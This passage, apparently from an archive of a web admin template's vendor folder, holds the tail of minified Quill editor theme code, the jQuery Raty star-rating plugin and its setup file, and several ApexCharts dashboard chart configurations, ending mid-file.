y=8></rect> <rect class=ql-fill height=1 width=3 x=3 y=5></rect> <rect class=ql-fill height=1 width=3 x=3 y=7></rect> <rect class=ql-fill height=1 width=3 x=3 y=10></rect> <rect class=ql-fill height=1 width=3 x=3 y=12></rect> <rect class=ql-fill height=1 width=3 x=12 y=5></rect> <rect class=ql-fill height=1 width=3 x=12 y=7></rect> <rect class=ql-fill height=1 width=3 x=12 y=10></rect> <rect class=ql-fill height=1 width=3 x=12 y=12></rect> </svg>'},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <polygon class=ql-stroke points="7 11 9 13 11 11 7 11"></polygon> <polygon class=ql-stroke points="7 7 9 5 11 7 7 7"></polygon> </svg>'},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.BubbleTooltip=void 0;var a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),u=n(2),c=r(u),f=n(9),h=r(f),p=n(44),d=r(p),y=n(22),v=n(26),b=r(v),g=[["bold","italic","link"],[{header:1},{header:2},"blockquote"]],m=function(t){function e(t,n){o(this,e),null!=n.modules.toolbar&&null==n.modules.toolbar.container&&(n.modules.toolbar.container=g);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.quill.container.classList.add("ql-bubble"),r}return l(e,t),s(e,[{key:"extendToolbar",value:function(t){this.tooltip=new _(this.quill,this.options.bounds),this.tooltip.root.appendChild(t.container),this.buildButtons([].slice.call(t.container.querySelectorAll("button")),b.default),this.buildPickers([].slice.call(t.container.querySelectorAll("select")),b.default)}}]),e}(d.default);m.DEFAULTS=(0,c.default)(!0,{},d.default.DEFAULTS,{modules:{toolbar:{handlers:{link:function(t){t?this.quill.theme.tooltip.edit():this.quill.format("link",!1)}}}}});var _=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.quill.on(h.default.events.EDITOR_CHANGE,function(t,e,n,o){if(t===h.default.events.SELECTION_CHANGE)if(null!=e&&e.length>0&&o===h.default.sources.USER){r.show(),r.root.style.left="0px",r.root.style.width="",r.root.style.width=r.root.offsetWidth+"px";var i=r.quill.getLines(e.index,e.length);if(1===i.length)r.position(r.quill.getBounds(e));else{var l=i[i.length-1],a=r.quill.getIndex(l),s=Math.min(l.length()-1,e.index+e.length-a),u=r.quill.getBounds(new y.Range(a,s));r.position(u)}}else document.activeElement!==r.textbox&&r.quill.hasFocus()&&r.hide()}),r}return l(e,t),s(e,[{key:"listen",value:function(){var t=this;a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"listen",this).call(this),this.root.querySelector(".ql-close").addEventListener("click",function(){t.root.classList.remove("ql-editing")}),this.quill.on(h.default.events.SCROLL_OPTIMIZE,function(){setTimeout(function(){if(!t.root.classList.contains("ql-hidden")){var e=t.quill.getSelection();null!=e&&t.position(t.quill.getBounds(e))}},1)})}},{key:"cancel",value:function(){this.show()}},{key:"position",value:function(t){var n=a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"position",this).call(this,t),r=this.root.querySelector(".ql-tooltip-arrow");if(r.style.marginLeft="",0===n)return n;r.style.marginLeft=-1*n-r.offsetWidth/2+"px"}}]),e}(p.BaseTooltip);_.TEMPLATE=['<span class="ql-tooltip-arrow"></span>','<div class="ql-tooltip-editor">','<input type="text" data-formula="e=mc^2" data-link="https://quilljs.com" data-video="Embed URL">','<a class="ql-close"></a>',"</div>"].join(""),e.BubbleTooltip=_,e.default=m},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var a=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),c=n(2),f=r(c),h=n(9),p=r(h),d=n(44),y=r(d),v=n(15),b=r(v),g=n(22),m=n(26),_=r(m),O=[[{header:["1","2","3",!1]}],["bold","italic","underline","link"],[{list:"ordered"},{list:"bullet"}],["clean"]],w=function(t){function e(t,n){o(this,e),null!=n.modules.toolbar&&null==n.modules.toolbar.container&&(n.modules.toolbar.container=O);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.quill.container.classList.add("ql-snow"),r}return l(e,t),u(e,[{key:"extendToolbar",value:function(t){t.container.classList.add("ql-snow"),this.buildButtons([].slice.call(t.container.querySelectorAll("button")),_.default),this.buildPickers([].slice.call(t.container.querySelectorAll("select")),_.default),this.tooltip=new x(this.quill,this.options.bounds),t.container.querySelector(".ql-link")&&this.quill.keyboard.addBinding({key:"K",shortKey:!0},function(e,n){t.handlers.link.call(t,!n.format.link)})}}]),e}(y.default);w.DEFAULTS=(0,f.default)(!0,{},y.default.DEFAULTS,{modules:{toolbar:{handlers:{link:function(t){if(t){var e=this.quill.getSelection();if(null==e||0==e.length)return;var n=this.quill.getText(e);/^\S+@\S+\.\S+$/.test(n)&&0!==n.indexOf("mailto:")&&(n="mailto:"+n);this.quill.theme.tooltip.edit("link",n)}else this.quill.format("link",!1)}}}}});var x=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.preview=r.root.querySelector("a.ql-preview"),r}return l(e,t),u(e,[{key:"listen",value:function(){var t=this;s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"listen",this).call(this),this.root.querySelector("a.ql-action").addEventListener("click",function(e){t.root.classList.contains("ql-editing")?t.save():t.edit("link",t.preview.textContent),e.preventDefault()}),this.root.querySelector("a.ql-remove").addEventListener("click",function(e){if(null!=t.linkRange){var n=t.linkRange;t.restoreFocus(),t.quill.formatText(n,"link",!1,p.default.sources.USER),delete t.linkRange}e.preventDefault(),t.hide()}),this.quill.on(p.default.events.SELECTION_CHANGE,function(e,n,r){if(null!=e){if(0===e.length&&r===p.default.sources.USER){var o=t.quill.scroll.descendant(b.default,e.index),i=a(o,2),l=i[0],s=i[1];if(null!=l){t.linkRange=new g.Range(e.index-s,l.length());var u=b.default.formats(l.domNode);return t.preview.textContent=u,t.preview.setAttribute("href",u),t.show(),void t.position(t.quill.getBounds(t.linkRange))}}else delete t.linkRange;t.hide()}})}},{key:"show",value:function(){s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"show",this).call(this),this.root.removeAttribute("data-mode")}}]),e}(d.BaseTooltip);x.TEMPLATE=['<a class="ql-preview" target="_blank" href="about:blank"></a>','<input type="text" data-formula="e=mc^2" data-link="https://quilljs.com" data-video="Embed URL">','<a class="ql-action"></a>','<a class="ql-remove"></a>'].join(""),e.default=w}]).default});
vendor/rating/raty-custom.js000066600000001575151150442740012171 0ustar00// Rating
$(function () {
	$.fn.raty.defaults.path = "img";
	$("#rate1").raty({ score: 4 });
	$("#rate2").raty({ score: 5 });
	$("#rate3").raty({ score: 5 });
	$("#rate4").raty({ score: 4 });
	$("#rate5").raty({ score: 3 });
	$("#rate6").raty({ score: 2 });

	$(".rate1").raty({ score: 4 });
	$(".rate2").raty({ score: 5 });
	$(".rate3").raty({ score: 5 });
	$(".rate4").raty({ score: 4 });
	$(".rate5").raty({ score: 3 });
	$(".rate6").raty({ score: 2 });

	$(".rateA").raty({ score: 5 });
	$(".rateB").raty({ score: 4 });
	$(".rateC").raty({ score: 3 });
	$(".rateD").raty({ score: 2 });
	$(".rateE").raty({ score: 1 });

	$(".readonly1").raty({ readOnly: true, score: 1 });
	$(".readonly2").raty({ readOnly: true, score: 2 });
	$(".readonly3").raty({ readOnly: true, score: 3 });
	$(".readonly4").raty({ readOnly: true, score: 4 });
	$(".readonly5").raty({ readOnly: true, score: 5 });
});
vendor/rating/raty.js000066600000031237151150442740010657 0ustar00/*!
 * jQuery Raty - A Star Rating Plugin
 * ------------------------------------------------------------------
 *
 * jQuery Raty is a plugin that generates a customizable star rating.
 *
 * Licensed under The MIT License
 *
 * @version        2.5.2
 * @since          2010.06.11
 * @author         Washington Botelho
 * @documentation  wbotelhos.com/raty
 *
 * ------------------------------------------------------------------
 *
 *  <div id="star"></div>
 *
 *  $('#star').raty();
 *
 */

(function ($) {
	var methods = {
		init: function (settings) {
			return this.each(function () {
				methods.destroy.call(this);

				this.opt = $.extend(true, {}, $.fn.raty.defaults, settings);

				var that = $(this),
					inits = ["number", "readOnly", "score", "scoreName"];

				methods._callback.call(this, inits);

				if (this.opt.precision) {
					methods._adjustPrecision.call(this);
				}

				this.opt.number = methods._between(
					this.opt.number,
					0,
					this.opt.numberMax
				);

				this.opt.path = this.opt.path || "";

				if (
					this.opt.path &&
					this.opt.path.charAt(this.opt.path.length - 1) !== "/"
				) {
					this.opt.path += "/";
				}

				this.stars = methods._createStars.call(this);
				this.score = methods._createScore.call(this);

				methods._apply.call(this, this.opt.score);

				var space = this.opt.space ? 4 : 0,
					width =
						this.opt.width ||
						this.opt.number * this.opt.size + this.opt.number * space;

				if (this.opt.cancel) {
					this.cancel = methods._createCancel.call(this);

					width += this.opt.size + space;
				}

				if (this.opt.readOnly) {
					methods._lock.call(this);
				} else {
					that.css("cursor", "pointer");
					methods._binds.call(this);
				}

				if (this.opt.width !== false) {
					that.css("width", width);
				}

				methods._target.call(this, this.opt.score);

				that.data({ settings: this.opt, raty: true });
			});
		},
		_adjustPrecision: function () {
			this.opt.targetType = "score";
			this.opt.half = true;
		},
		_apply: function (score) {
			if (score && score > 0) {
				score = methods._between(score, 0, this.opt.number);
				this.score.val(score);
			}

			methods._fill.call(this, score);

			if (score) {
				methods._roundStars.call(this, score);
			}
		},
		_between: function (value, min, max) {
			return Math.min(Math.max(parseFloat(value), min), max);
		},
		_binds: function () {
			if (this.cancel) {
				methods._bindCancel.call(this);
			}

			methods._bindClick.call(this);
			methods._bindOut.call(this);
			methods._bindOver.call(this);
		},
		_bindCancel: function () {
			methods._bindClickCancel.call(this);
			methods._bindOutCancel.call(this);
			methods._bindOverCancel.call(this);
		},
		_bindClick: function () {
			var self = this,
				that = $(self);

			self.stars.on("click.raty", function (evt) {
				self.score.val(
					self.opt.half || self.opt.precision ? that.data("score") : this.alt
				);

				if (self.opt.click) {
					self.opt.click.call(self, parseFloat(self.score.val()), evt);
				}
			});
		},
		_bindClickCancel: function () {
			var self = this;

			self.cancel.on("click.raty", function (evt) {
				self.score.removeAttr("value");

				if (self.opt.click) {
					self.opt.click.call(self, null, evt);
				}
			});
		},
		_bindOut: function () {
			var self = this;

			$(this).on("mouseleave.raty", function (evt) {
				var score = parseFloat(self.score.val()) || undefined;

				methods._apply.call(self, score);
				methods._target.call(self, score, evt);

				if (self.opt.mouseout) {
					self.opt.mouseout.call(self, score, evt);
				}
			});
		},
		_bindOutCancel: function () {
			var self = this;

			self.cancel.on("mouseleave.raty", function (evt) {
				$(this).attr("src", self.opt.path + self.opt.cancelOff);

				if (self.opt.mouseout) {
					self.opt.mouseout.call(self, self.score.val() || null, evt);
				}
			});
		},
		_bindOverCancel: function () {
			var self = this;

			self.cancel.on("mouseover.raty", function (evt) {
				$(this).attr("src", self.opt.path + self.opt.cancelOn);

				self.stars.attr("src", self.opt.path + self.opt.starOff);

				methods._target.call(self, null, evt);

				if (self.opt.mouseover) {
					self.opt.mouseover.call(self, null);
				}
			});
		},
		_bindOver: function () {
			var self = this,
				that = $(self),
				action = self.opt.half ? "mousemove.raty" : "mouseover.raty";

			self.stars.on(action, function (evt) {
				var score = parseInt(this.alt, 10);

				if (self.opt.half) {
					var position = parseFloat(
							(evt.pageX - $(this).offset().left) / self.opt.size
						),
						plus = position > 0.5 ? 1 : 0.5;

					score = score - 1 + plus;

					methods._fill.call(self, score);

					if (self.opt.precision) {
						score = score - plus + position;
					}

					methods._roundStars.call(self, score);

					that.data("score", score);
				} else {
					methods._fill.call(self, score);
				}

				methods._target.call(self, score, evt);

				if (self.opt.mouseover) {
					self.opt.mouseover.call(self, score, evt);
				}
			});
		},
		_callback: function (options) {
			for (var i in options) {
				if (typeof this.opt[options[i]] === "function") {
					this.opt[options[i]] = this.opt[options[i]].call(this);
				}
			}
		},
		_createCancel: function () {
			var that = $(this),
				icon = this.opt.path + this.opt.cancelOff,
				cancel = $("<img />", {
					src: icon,
					alt: "x",
					title: this.opt.cancelHint,
					class: "raty-cancel",
				});

			if (this.opt.cancelPlace == "left") {
				that.prepend("&#160;").prepend(cancel);
			} else {
				that.append("&#160;").append(cancel);
			}

			return cancel;
		},
		_createScore: function () {
			return $("<input />", {
				type: "hidden",
				name: this.opt.scoreName,
			}).appendTo(this);
		},
		_createStars: function () {
			var that = $(this);

			for (var i = 1; i <= this.opt.number; i++) {
				var title = methods._getHint.call(this, i),
					icon = this.opt.score && this.opt.score >= i ? "starOn" : "starOff";

				icon = this.opt.path + this.opt[icon];

				$("<img />", { src: icon, alt: i, title: title }).appendTo(this);

				if (this.opt.space) {
					that.append(i < this.opt.number ? "&#160;" : "");
				}
			}

			return that.children("img");
		},
		_error: function (message) {
			$(this).html(message);

			$.error(message);
		},
		_fill: function (score) {
			var self = this,
				hash = 0;

			for (var i = 1; i <= self.stars.length; i++) {
				var star = self.stars.eq(i - 1),
					select = self.opt.single ? i == score : i <= score;

				if (self.opt.iconRange && self.opt.iconRange.length > hash) {
					var irange = self.opt.iconRange[hash],
						on = irange.on || self.opt.starOn,
						off = irange.off || self.opt.starOff,
						icon = select ? on : off;

					if (i <= irange.range) {
						star.attr("src", self.opt.path + icon);
					}

					if (i == irange.range) {
						hash++;
					}
				} else {
					var icon = select ? "starOn" : "starOff";

					star.attr("src", this.opt.path + this.opt[icon]);
				}
			}
		},
		_getHint: function (score) {
			var hint = this.opt.hints[score - 1];
			return hint === "" ? "" : hint || score;
		},
		_lock: function () {
			var score = parseInt(this.score.val(), 10), // TODO: 3.1 >> [['1'], ['2'], ['3', '.1', '.2']]
				hint = score ? methods._getHint.call(this, score) : this.opt.noRatedMsg;

			$(this).data("readonly", true).css("cursor", "").attr("title", hint);

			this.score.attr("readonly", "readonly");
			this.stars.attr("title", hint);

			if (this.cancel) {
				this.cancel.hide();
			}
		},
		_roundStars: function (score) {
			var rest = (score - Math.floor(score)).toFixed(2);

			if (rest > this.opt.round.down) {
				var icon = "starOn"; // Up:   [x.76 .. x.99]

				if (this.opt.halfShow && rest < this.opt.round.up) {
					// Half: [x.26 .. x.75]
					icon = "starHalf";
				} else if (rest < this.opt.round.full) {
					// Down: [x.00 .. x.5]
					icon = "starOff";
				}

				this.stars
					.eq(Math.ceil(score) - 1)
					.attr("src", this.opt.path + this.opt[icon]);
			} // Full down: [x.00 .. x.25]
		},
		_target: function (score, evt) {
			if (this.opt.target) {
				var target = $(this.opt.target);

				if (target.length === 0) {
					methods._error.call(this, "Target selector invalid or missing!");
				}

				if (this.opt.targetFormat.indexOf("{score}") < 0) {
					methods._error.call(this, 'Template "{score}" missing!');
				}

				var mouseover = evt && evt.type == "mouseover";

				if (score === undefined) {
					score = this.opt.targetText;
				} else if (score === null) {
					score = mouseover ? this.opt.cancelHint : this.opt.targetText;
				} else {
					if (this.opt.targetType == "hint") {
						score = methods._getHint.call(this, Math.ceil(score));
					} else if (this.opt.precision) {
						score = parseFloat(score).toFixed(1);
					}

					if (!mouseover && !this.opt.targetKeep) {
						score = this.opt.targetText;
					}
				}

				if (score) {
					score = this.opt.targetFormat.toString().replace("{score}", score);
				}

				if (target.is(":input")) {
					target.val(score);
				} else {
					target.html(score);
				}
			}
		},
		_unlock: function () {
			$(this)
				.data("readonly", false)
				.css("cursor", "pointer")
				.removeAttr("title");

			this.score.removeAttr("readonly", "readonly");

			for (var i = 0; i < this.opt.number; i++) {
				this.stars.eq(i).attr("title", methods._getHint.call(this, i + 1));
			}

			if (this.cancel) {
				this.cancel.css("display", "");
			}
		},
		cancel: function (click) {
			return this.each(function () {
				if ($(this).data("readonly") !== true) {
					methods[click ? "click" : "score"].call(this, null);
					this.score.removeAttr("value");
				}
			});
		},
		click: function (score) {
			return $(this).each(function () {
				if ($(this).data("readonly") !== true) {
					methods._apply.call(this, score);

					if (!this.opt.click) {
						methods._error.call(
							this,
							'You must add the "click: function(score, evt) { }" callback.'
						);
					}

					this.opt.click.call(this, score, $.Event("click"));

					methods._target.call(this, score);
				}
			});
		},
		destroy: function () {
			return $(this).each(function () {
				var that = $(this),
					raw = that.data("raw");

				if (raw) {
					that
						.off(".raty")
						.empty()
						.css({ cursor: raw.style.cursor, width: raw.style.width })
						.removeData("readonly");
				} else {
					that.data("raw", that.clone()[0]);
				}
			});
		},
		getScore: function () {
			var score = [],
				value;

			$(this).each(function () {
				value = this.score.val();

				score.push(value ? parseFloat(value) : undefined);
			});

			return score.length > 1 ? score : score[0];
		},
		readOnly: function (readonly) {
			return this.each(function () {
				var that = $(this);

				if (that.data("readonly") !== readonly) {
					if (readonly) {
						that.off(".raty").children("img").off(".raty");

						methods._lock.call(this);
					} else {
						methods._binds.call(this);
						methods._unlock.call(this);
					}

					that.data("readonly", readonly);
				}
			});
		},
		reload: function () {
			return methods.set.call(this, {});
		},
		score: function () {
			return arguments.length
				? methods.setScore.apply(this, arguments)
				: methods.getScore.call(this);
		},
		set: function (settings) {
			return this.each(function () {
				var that = $(this),
					actual = that.data("settings"),
					news = $.extend({}, actual, settings);

				that.raty(news);
			});
		},
		setScore: function (score) {
			return $(this).each(function () {
				if ($(this).data("readonly") !== true) {
					methods._apply.call(this, score);
					methods._target.call(this, score);
				}
			});
		},
	};

	$.fn.raty = function (method) {
		if (methods[method]) {
			return methods[method].apply(
				this,
				Array.prototype.slice.call(arguments, 1)
			);
		} else if (typeof method === "object" || !method) {
			return methods.init.apply(this, arguments);
		} else {
			$.error("Method " + method + " does not exist!");
		}
	};

	$.fn.raty.defaults = {
		cancel: false,
		cancelHint: "Cancel this rating!",
		cancelOff: "cancel-off.png",
		cancelOn: "cancel-on.png",
		cancelPlace: "left",
		click: undefined,
		half: false,
		halfShow: true,
		hints: ["bad", "poor", "regular", "good", "Bootstrap Gallery"],
		iconRange: undefined,
		mouseout: undefined,
		mouseover: undefined,
		noRatedMsg: "Not rated yet!",
		number: 5,
		numberMax: 20,
		path: "",
		precision: false,
		readOnly: false,
		round: { down: 0.25, full: 0.6, up: 0.76 },
		score: undefined,
		scoreName: "score",
		single: false,
		size: 20,
		space: true,
		starHalf: "../assets/images/star-half.png",
		starOff: "../assets/images/star.svg",
		starOn: "../assets/images/star-selected.svg",
		target: undefined,
		targetFormat: "{score}",
		targetKeep: false,
		targetText: "",
		targetType: "hint",
		width: undefined,
	};
})(jQuery);
vendor/apex/custom/analytics/stats.js000066600000003617151150442740014011 0ustar00// Graph 1
var options1 = {
	series: [80],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart1 = new ApexCharts(document.querySelector("#radial1"), options1);
chart1.render();

// Graph 2
var options2 = {
	series: [70],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#7aa748", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart2 = new ApexCharts(document.querySelector("#radial2"), options2);
chart2.render();

// Graph 3
var options3 = {
	series: [60],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#00a1ff", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart3 = new ApexCharts(document.querySelector("#radial3"), options3);
chart3.render();

// Graph 4
var options4 = {
	series: [50],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart4 = new ApexCharts(document.querySelector("#radial4"), options4);
chart4.render();
vendor/apex/custom/analytics/audiences.js000066600000001275151150442740014611 0ustar00var options = {
	series: [40, 70],
	chart: {
		height: 320,
		type: "radialBar",
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 2,
				size: "5%",
			},
			dataLabels: {
				name: {
					fontSize: "22px",
				},
				value: {
					fontSize: "16px",
				},
				total: {
					show: true,
					label: "Total",
					formatter: function (w) {
						// By default this function returns the average of all series. The below is just an example to show the use of custom formatter function
						return 350;
					},
				},
			},
		},
	},
	labels: ["New", "Subscribed"],
	colors: ["#5b4fb9", "#8ec9db"],
};

var chart = new ApexCharts(document.querySelector("#audiences"), options);
chart.render();
vendor/apex/custom/analytics/views.js000066600000002247151150442740014006 0ustar00// Chart 1
var options1 = {
	chart: {
		height: 100,
		width: 250,
		type: "line",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 5,
	},
	series: [
		{
			name: "Orders",
			data: [5, 10, 30, 15, 35, 25, 45],
		},
	],
	grid: {
		show: false,
	},
	xaxis: {
		categories: ["S", "M", "T", "W", "T", "F", "S"],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: ["#f27436", "#9196a2", "#66a4ff"],
	markers: {
		show: false,
	},
};
var chart1 = new ApexCharts(document.querySelector("#orders1"), options1);
chart1.render();

// Chart 2
var options2 = {
	chart: {
		height: 100,
		width: 250,
		type: "line",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 5,
	},
	series: [
		{
			name: "Orders",
			data: [5, 10, 30, 15, 35, 25, 45],
		},
	],
	grid: {
		show: false,
	},
	xaxis: {
		categories: ["S", "M", "T", "W", "T", "F", "S"],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
	markers: {
		show: false,
	},
};
var chart2 = new ApexCharts(document.querySelector("#orders2"), options2);
chart2.render();
vendor/apex/custom/analytics/sales.js000066600000002046151150442740013755 0ustar00var options = {
	chart: {
		height: 320,
		type: "bar",
		toolbar: {
			show: false,
		},
	},
	plotOptions: {
		bar: {
			horizontal: false,
			columnWidth: "70px",
			distributed: true,
			borderRadius: 30,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		show: true,
		width: 1,
		colors: ["#8ec9db", "#5b4fb9", "#8ec9db", "#5b4fb9", "#8ec9db"],
	},
	series: [
		{
			name: "New",
			data: [2000, 3000, 4000, 5000],
		},
	],
	legend: {
		show: false,
	},
	xaxis: {
		categories: ["Sales", "Visits", "Income", "Revenue"],
	},
	yaxis: {
		show: false,
	},
	fill: {
		opacity: 1,
	},
	tooltip: {
		y: {
			formatter: function (val) {
				return +val;
			},
		},
	},
	grid: {
		borderColor: "#ccd2da",
		strokeDashArray: 3,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: 0,
			left: 20,
		},
	},
	colors: ["#8ec9db", "#5b4fb9", "#8ec9db", "#5b4fb9", "#8ec9db"],
};
var chart = new ApexCharts(document.querySelector("#sales"), options);
chart.render();
vendor/apex/custom/analytics/orders.js000066600000001545151150442740014147 0ustar00var options = {
	series: [
		{
			name: "",
			data: [200, 330, 548, 740, 880, 1100, 1380],
		},
	],
	chart: {
		type: "bar",
		height: 300,
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		bar: {
			borderRadius: 0,
			horizontal: true,
			distributed: true,
			barHeight: "80%",
			isFunnel: true,
		},
	},
	colors: ["#ff7d41", "#ff41d3", "#796dd8", "#69c0f8", "#6eb960", "#111111"],
	dataLabels: {
		enabled: true,
		formatter: function (val, opt) {
			return opt.w.globals.labels[opt.dataPointIndex];
		},
		dropShadow: {
			enabled: true,
		},
	},
	xaxis: {
		categories: [
			"Meat",
			"Dairy",
			"Grains",
			"Gadgets",
			"Electronics",
			"Processed Foods",
			"Fruits & Vegetables",
		],
	},
	legend: {
		show: false,
	},
};

var chart = new ApexCharts(document.querySelector("#orders"), options);
chart.render();vendor/apex/custom/widgets/sparkline.js000066600000003104151150442740014311 0ustar00var options1 = {
	series: [
		{
			data: [12, 14, 2, 47, 42, 15, 47, 75, 65, 19, 14],
		},
	],
	chart: {
		type: "line",
		width: 180,
		height: 35,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#cccccc"],
	tooltip: {
		fixed: {
			enabled: false,
		},
		x: {
			show: false,
		},
		y: {
			title: {
				formatter: function (seriesName) {
					return "";
				},
			},
		},
		marker: {
			show: false,
		},
	},
};

var chart1 = new ApexCharts(document.querySelector("#option1"), options1);
chart1.render();

// Sparkline 2
var options2 = {
	series: [
		{
			data: [12, 14, 2, 47, 42, 15, 47, 75, 65, 19, 14],
		},
	],
	chart: {
		type: "line",
		width: 180,
		height: 35,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#cccccc"],
	tooltip: {
		fixed: {
			enabled: false,
		},
		x: {
			show: false,
		},
		y: {
			title: {
				formatter: function (seriesName) {
					return "";
				},
			},
		},
		marker: {
			show: false,
		},
	},
};

var chart2 = new ApexCharts(document.querySelector("#option2"), options2);
chart2.render();

// Sparkline 3
var options3 = {
	series: [
		{
			data: [12, 14, 2, 47, 42, 15, 47, 75, 65, 19, 14],
		},
	],
	chart: {
		type: "line",
		width: 180,
		height: 35,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#cccccc"],
	tooltip: {
		fixed: {
			enabled: false,
		},
		x: {
			show: false,
		},
		y: {
			title: {
				formatter: function (seriesName) {
					return "";
				},
			},
		},
		marker: {
			show: false,
		},
	},
};

var chart3 = new ApexCharts(document.querySelector("#option3"), options3);
chart3.render();
vendor/apex/custom/profile/trainings.js000066600000001274151150442740014317 0ustar00var options = {
	series: [40, 70],
	chart: {
		height: 300,
		type: "radialBar",
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 2,
				size: "5%",
			},
			dataLabels: {
				name: {
					fontSize: "22px",
				},
				value: {
					fontSize: "16px",
				},
				total: {
					show: true,
					label: "Total",
					formatter: function (w) {
						// By default this function returns the average of all series. The below is just an example to show the use of custom formatter function
						return 350;
					},
				},
			},
		},
	},
	labels: ["New", "Completed"],
	colors: ["#5b4fb9", "#8ec9db"],
};

var chart = new ApexCharts(document.querySelector("#trainings"), options);
chart.render();
vendor/apex/custom/orders/orders.js000066600000002244151150442740013453 0ustar00var options = {
	chart: {
		height: 400,
		type: "area",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 3,
	},
	plotOptions: {
		bar: {
			columnWidth: "30%",
		},
	},
	series: [
		{
			name: "Orders",
			type: "column",
			data: [10, 40, 15, 40, 20, 35, 20, 10, 31, 43, 56, 29],
		},
		{
